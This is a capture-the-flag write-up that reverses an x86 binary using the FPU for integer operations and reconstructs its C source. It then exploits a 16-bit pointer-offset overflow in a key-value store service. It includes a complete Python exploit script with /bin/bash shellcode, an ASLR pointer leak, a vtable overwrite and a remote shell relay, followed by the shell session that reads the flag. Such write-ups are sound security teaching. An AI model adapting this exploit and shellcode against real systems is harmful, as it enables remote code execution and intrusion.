This binary is an x86 ELF, but it is using the FPU as an integer unit. For example, what would normally be this instruction:
mov [ebp+4], eax
Becomes this:
push eax fild dword ptr [esp] pop eax fistp dword ptr [ebp+4]
Pointer arithmetic is done with an FADD instruction. This code:
fild [ebx+data.zero] fild dword ptr [ebp+4] fild [ebx+data.eight] faddp st(1), st push eax fistp dword ptr [esp] ; format pop eax fistp dword ptr [eax]
Would normally be something like this:
mov eax, [ebp+4] mov dword [eax+8], 0
Parameters passed internally are passed on the floating point stack, and the return value is placed on the top of the floating point stack. One of the stranger constructs in the binary is this:
fild [ebx+data.neg8] fild [ebx+data.inputBuf] fild [ebx+data.one] fsubp st(1), st push eax fistp dword ptr [esp] pop eax fild word ptr [eax] fscale fstp st(1) frndint fistp dword ptr [ebp+10h]
This entire sequence is basically just this:
mov al, [ebx+data.inputBuf] mov [ebp+10h], al
The floating point unit can't do 8-bit reads, so the binary reads 16 bits starting one byte before the desired location. The FSCALE instruction adds the second argument to the exponent, so an FSCALE with -8 would be similar to a shift right by 8. So, it is reading 16 bits and extracting the upper 8 bits. Since the read was one byte prior to the target byte, the result is the correct byte.
After a few hours of reversing to C code, we get the following program (which does compile!):
#include <stdbool.h> #include <stdio.h> #include <unistd.h> #include <malloc.h> #include <string.h> struct store; struct state; struct item { short nextOffset; short padding; char value[0x100]; char key[0x100]; }; struct storefuncs { int (*storeMenu)(struct store* store); int (*newItem)(struct store* store); int (*deleteItem)(struct store* store); int (*editItem)(struct store* store); int (*lookupItem)(struct store* store); int (*dumpItems)(struct store* store); }; struct store { struct storefuncs* funcs; struct item* head; short nextOffset; short padding; char name[0x100]; }; struct statefuncs { int (*mainMenu)(struct state* state); int (*newStore)(struct state* state); int (*deleteStore)(struct state* state); int (*editStore)(struct state* state); }; struct state { struct statefuncs* funcs; struct store* head; char username[0x20]; }; int mainMenu(struct state* state); int newStore(struct state* state); int deleteStore(struct state* state); int editStore(struct state* state); int storeMenu(struct store* store); int newItem(struct store* store); int deleteItem(struct store* store); int editItem(struct store* store); int lookupItem(struct store* store); int dumpItems(struct store* store); static struct statefuncs statefuncs = {mainMenu, newStore, deleteStore, editStore}; static struct storefuncs storefuncs = {storeMenu, newItem, deleteItem, editItem, lookupItem, dumpItems}; static char choice[4]; short castShort(ssize_t diff) { // FPU returns -0x8000 for out of range 16-bit ints if ((diff < -0x8000) || (diff > 0x7fff)) return -0x8000; return (short)diff; } int readUntil(char* buffer, int len, char end) { buffer[0] = 0; for (int i = 0; (i + 1) < len; i++) { static char inputBuf = 0; int result = read(0, &inputBuf, 1); if (result != 1) return 1; if (inputBuf == end) return 0; buffer[i] = inputBuf; buffer[i + 1] = 0; } return 0; } int mainMenu(struct state* state) { while (true) { printf("(N)ew K-V store\n" "(D)elete K-V store\n" "(E)dit K-V store\n\n" "(L)ogout\n" "(Q)uit\n"); if (readUntil(choice, 3, '\n')) return 0; if (choice[0] == 'N') state->funcs->newStore(state); else if (choice[0] == 'D') state->funcs->deleteStore(state); else if (choice[0] == 'E') state->funcs->editStore(state); else if (choice[0] == 'L') return 1; else if (choice[0] == 'Q') return 0; else printf("Invalid choice.\n"); } } int newStore(struct state* state) { struct store* obj = (struct store*)malloc(sizeof(struct store)); obj->funcs = &storefuncs; obj->head = NULL; obj->nextOffset = 0; printf("Name: "); readUntil(obj->name, 256, '\n'); if (state->head) { if (strcmp(obj->name, state->head->name) > 0) { struct store* cur = state->head; struct store* prev; while (true) { prev = cur; if (!prev->nextOffset) break; cur = (struct store*)((size_t)prev + prev->nextOffset); if (strcmp(obj->name, cur->name) > 0) continue; obj->nextOffset = castShort((size_t)cur - (size_t)obj); break; } prev->nextOffset = castShort((size_t)obj - (size_t)prev); return 0; } else { obj->nextOffset = castShort((size_t)state->head - (size_t)obj); } } state->head = obj; return 0; } int deleteStore(struct state* state) { char* name = (char*)malloc(0x100); printf("Name: "); readUntil(name, 0x100, '\n'); struct store* cur = state->head; if (!cur) goto notfound; int result = strcmp(name, cur->name); if (result < 0) goto notfound; else if (result == 0) { state->head = NULL; short offset = cur->nextOffset; free(cur); if (offset != 0) state->head = (struct store*)((size_t)cur + offset); } else { struct store* prev; while (true) { prev = cur; if (!prev->nextOffset) goto notfound; cur = (struct store*)((size_t)prev + prev->nextOffset); result = strcmp(name, cur->name); if (result < 0) goto notfound; if (result == 0) break; } prev->nextOffset = 0; short offset = cur->nextOffset; free(cur); if (offset != 0) prev->nextOffset = ((size_t)cur + offset) - (size_t)prev; } goto done; notfound: printf("Store %s was not found.\n", name); done: free(name); return 0; } int editStore(struct state* state) { char* name = (char*)malloc(0x100); printf("Name: "); readUntil(name, 0x100, '\n'); struct store* cur = state->head; if (!cur) goto notfound; int result = strcmp(name, cur->name); if (result < 0) goto notfound; else if (result > 0) { struct store* prev; while (true) { prev = cur; if (!prev->nextOffset) goto notfound; cur = (struct store*)((size_t)prev + prev->nextOffset); result = strcmp(name, cur->name); if (result < 0) goto notfound; if (result == 0) break; } } free(name); cur->funcs->storeMenu(cur); return 0; notfound: printf("Store %s was not found.\n", name); free(name); return 0; } int storeMenu(struct store* store) { printf("Store %s\n", store->name); while (true) { printf("(N)ew Item\n" "(D)elete Item\n" "(E)dit Item\n" "(L)ookup Item\n" "d(U)mp Items\n\n" "(Q)uit\n"); if (readUntil(choice, 3, '\n')) return 0; if (choice[0] == 'N') store->funcs->newItem(store); else if (choice[0] == 'D') store->funcs->deleteItem(store); else if (choice[0] == 'E') store->funcs->editItem(store); else if (choice[0] == 'L') store->funcs->lookupItem(store); else if (choice[0] == 'U') store->funcs->dumpItems(store); else if (choice[0] == 'Q') return 0; else printf("Invalid choice.\n"); } } int newItem(struct store* store) { struct item* item = (struct item*)malloc(sizeof(struct item)); item->nextOffset = 0; printf("Key: "); readUntil(item->key, 0x100, '\n'); printf("Value: "); readUntil(item->value, 0x100, '\n'); if (store->head) { if (strcmp(item->key, store->head->key) > 0) { struct item* cur = store->head; struct item* prev; while (true) { prev = cur; if (!prev->nextOffset) break; cur = (struct item*)((size_t)prev + prev->nextOffset); if (strcmp(item->key, cur->key) > 0) continue; item->nextOffset = castShort((size_t)cur - (size_t)item); break; } prev->nextOffset = castShort((size_t)item - (size_t)prev); return 0; } else { item->nextOffset = castShort((size_t)store->head - (size_t)item); } } store->head = item; return 0; } int deleteItem(struct store* store) { char* name = (char*)malloc(0x100); printf("Key: "); readUntil(name, 0x100, '\n'); struct item* cur = store->head; if (!cur) goto notfound; int result = strcmp(name, cur->key); if (result < 0) goto notfound; else if (result == 0) { store->head = NULL; short offset = cur->nextOffset; free(cur); if (offset != 0) store->head = (struct item*)((size_t)cur + offset); } else { struct item* prev; while (true) { prev = cur; if (!prev->nextOffset) goto notfound; cur = (struct item*)((size_t)prev + prev->nextOffset); result = strcmp(name, cur->key); if (result < 0) goto notfound; if (result == 0) break; } prev->nextOffset = 0; short offset = cur->nextOffset; free(cur); if (offset != 0) prev->nextOffset = ((size_t)cur + offset) - (size_t)prev; } goto done; notfound: printf("Key %s was not found.\n", name); done: free(name); return 0; } int editItem(struct store* store) { char* name = (char*)malloc(0x100); printf("Key: "); readUntil(name, 0x100, '\n'); struct item* cur = store->head; if (!cur) goto notfound; int result = strcmp(name, cur->key); if (result < 0) goto notfound; else if (result > 0) { struct item* prev; while (true) { prev = cur; if (!prev->nextOffset) goto notfound; cur = (struct item*)((size_t)prev + prev->nextOffset); result = strcmp(name, cur->key); if (result < 0) goto notfound; if (result == 0) break; } } free(name); printf("Old Value: %s\n", cur->value); printf("New Value: "); readUntil(cur->value, 0x100, '\n'); return 0; notfound: printf("Key %s was not found.\n", name); free(name); return 0; } int lookupItem(struct store* store) { char* name = (char*)malloc(0x100); printf("Key: "); readUntil(name, 0x100, '\n'); struct item* cur = store->head; if (!cur) goto notfound; int result = strcmp(name, cur->key); if (result < 0) goto notfound; else if (result > 0) { struct item* prev; while (true) { prev = cur; if (!prev->nextOffset) goto notfound; cur = (struct item*)((size_t)prev + prev->nextOffset); result = strcmp(name, cur->key); if (result < 0) goto notfound; if (result == 0) break; } } free(name); printf("Value: %s\n", cur->value); return 0; notfound: printf("Key %s was not found.\n", name); free(name); return 0; } int dumpItems(struct store* store) { struct item* cur = store->head; if (cur) { printf("Key: %s, Value: %s\n", cur->key, cur->value); while (true) { struct item* prev = cur; if (!prev->nextOffset) break; cur = (struct item*)((size_t)prev + prev->nextOffset); printf("Key: %s, Value: %s\n", cur->key, cur->value); } } } void main() { struct state* state = (struct state*)malloc(sizeof(struct state)); state->funcs = &statefuncs; setbuf(stdout, 0); while (true) { printf("Username: "); int error = readUntil(state->username, 0x20, '\n'); printf("Welcome %s to Plaid Key-Value Store.\n\n", state->username); if (state->funcs->mainMenu(state) != 1) break; } printf("\nGood-bye.\n"); }
Now, to find a vulnerability. It is actually pretty obvious if you get your types right when reversing. Here is an example of how it updates the next "pointer" for a new store:
obj->nextOffset = castShort((size_t)cur - (size_t)obj);
So, pointers are stored as differences, but only using 16 bits. There is no limit on how many items you can create, so you can cause the program to reference the wrong memory or corrupt the heap.
One very interesting issue is that the cast to a short is *not* just a truncation to 16 bits as it would be in an integer-based program. Here is what the Intel docs have to say about storing an out-of-range 16 bit integer:
If the invalid-operation exception is masked, the integer indefinite value is stored in memory.
The integer indefinite value is -0x8000 in 16 bits, as shown in the castShort function above.
To create an exploit, we need to overwrite one of the pointers to a function pointer table so we can get control of EIP. However, there is also the complication that this binary has ASLR turned on, so we need to also find a pointer leak. In order to do this, we need to cause the truncated next pointer of an item to land us such that we can control the item metadata. First, we need to fill up the heap a little bit, because the indefinite value will go back 32k in memory. Then, we create a store with a large number of items, so that adding a new one can't be represented in a 16-bit distance. A few extra stores are allocated in the middle of this process to align our data such that the object header is in a memory location that can be modified with an edit command. We then modify the next pointer of this misinterpreted item such that the value string is aligned with the header for a store object. This gives us a pointer to the binary, and a pointer to the heap (the head of the item list).
Now we just have to do the same exploit technique with the list of stores, such that we can overwrite the pointer to the function table. Since we have a pointer to an item, we can use it for both the new function table and the shellcode (NX was disabled in this binary). One issue was that once the store list was corrupted, you had to figure out what name matched the exploited entry (it does a string compare before calling the function). Thankfully, the reversed C code pretty much exactly matches the behavior of the real program, so we just put a printf() call before the strcmp() and copied the correct value into our exploit script.
The exploit script:
import socket import struct import sys def read(s): result = "" while True: ch = s.recv(1) if ch == "\n": return result result += ch def eatlines(s, n): for i in xrange(0, n): read(s) s = socket.create_connection((sys.argv[1], 9999)) s.send("A\n") eatlines(s, 8) for i in xrange(0, 5): print "Creating filler (%d/%d)" % (i + 1, 5) s.send("N\n%d\n" % i) eatlines(s, 6) s.send("E\n%d\n" % i) eatlines(s, 8) for j in xrange(0, 32): s.send("N\n") s.send("A" * 0xf8 + "%03d\n" % j) s.send("A" * 0xf8 + "%03d\n" % j) eatlines(s, 7) s.send("Q\n") eatlines(s, 6) s.send("N\nA\n") eatlines(s, 6) s.send("E\nA\n") eatlines(s, 8) print "Creating exploit store" for i in xrange(0, 32): s.send("N\n") s.send("B" * 0xf8 + "%03d\n" % i) s.send("B" * 0xf8 + "%03d\n" % i) eatlines(s, 7) s.send("Q\n") eatlines(s, 6) s.send("N\nB\n") eatlines(s, 6) s.send("N\nC\n") eatlines(s, 6) s.send("E\nA\n") eatlines(s, 8) for i in xrange(32, 139): s.send("N\n") s.send("B" * 0xf8 + "%03d\n" % i) s.send("B" * 0xf8 + "%03d\n" % i) eatlines(s, 7) print "Editing items" s.send("E\n") s.send("B" * 0xf8 + "%03d\n" % 5) s.send("C" * 0x76 + "\x4b\xf4" + "C" * 0x80 + "%03d\n" % 5) eatlines(s, 8) s.send("N\n") s.send("B" * 0xf8 + "%03dA\n" % 4) s.send("B" * 0xf8 + "%03dA\n" % 4) eatlines(s, 7) print "Leaking pointers" s.send("U\n") eatlines(s, 8) line = read(s) data = line[14:] real_vtable_ptr = struct.unpack("<I", "\xeb" + data[0:3])[0] real_heap_ptr = struct.unpack("<I", data[3:7])[0] print "vtable ptr is 0x%x" % real_vtable_ptr print "heap ptr is 0x%x" % real_heap_ptr shellcode = "\x81\xec\x00\x10\x00\x00U\x8b\xec\x83\xec(\xe8\x00\x00\x00\x00[\x8d[\xef\x8dCh\x8d\x08\x89M\xe8\x8bE\xe8\x89E\xdc\x8dCe\x8d\x08\x89M\xec\x8bE\xec\x89E\xe0\xc7E\xe4\x00\x00\x00\x00\x8bE\xdc\x89E\xf4\x8dE\xdc\x89E\xf8\xb8\x0b\x00\x00\x00S\x8b]\xf4\x8bM\xf8\xba\x00\x00\x00\x00\xcd\x80[\x89E\xfc\xb8\x01\x00\x00\x00\xcd\x80\x89E\xd8-i\x00/bin/bash\x00" vtable_ptr = real_heap_ptr + 4 eip = real_heap_ptr + 8 print "Exploiting" s.send("E\n") s.send("B" * 0xf8 + "%03d\n" % 0) s.send(struct.pack("<I", eip) + shellcode + "\n") eatlines(s, 8) s.send("Q\n") eatlines(s, 6) s.send("E\n4\n") eatlines(s, 8) s.send("E\n") s.send("A" * 0xf8 + "%03d\n" % 2) s.send("D" * 0xc + struct.pack("<I", vtable_ptr) + "E" * 0xe8 + "%03d\n" % 2) eatlines(s, 8) s.send("Q\n") eatlines(s, 6) s.send("E\nA\n") eatlines(s, 8) s.send("Q\n") eatlines(s, 6) s.send("N\nX\n") eatlines(s, 6) s.send("E\nEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE002\n") print "Shell incoming" import termios, tty, select, os old_settings = termios.tcgetattr(0) try: tty.setcbreak(0) c = True while c: for i in select.select([0, s.fileno()], [], [], 0)[0]: c = os.read(i, 1024) if c: os.write(s.fileno() if i == 0 else 1, c) except KeyboardInterrupt: pass finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
What is really interesting about this exploit is that it works perfectly on a binary compiled from our reverse engineered C source! So it wasn't a surprise when it worked first try on the game box.
Getting the key:
Creating filler (1/5) Creating filler (2/5) Creating filler (3/5) Creating filler (4/5) Creating filler (5/5) Creating exploit store Editing items Leaking pointers vtable ptr is 0xf7767beb heap ptr is 0xf801ab98 Exploiting Shell incoming (L)ogout (Q)uit Name: (N)ew K-V store (D)elete K-V store (E)dit K-V store (L)ogout (Q)uit Name: bash: cannot set terminal process group (-1): Invalid argument bash: no job control in this shell fpu@ip-10-60-6-156:/$ cd /home/fpu fpu@ip-10-60-6-156:/home/fpu$ ls key problem fpu@ip-10-60-6-156:/home/fpu$ cat key 3612c67fa04db81dceb391ada00ca379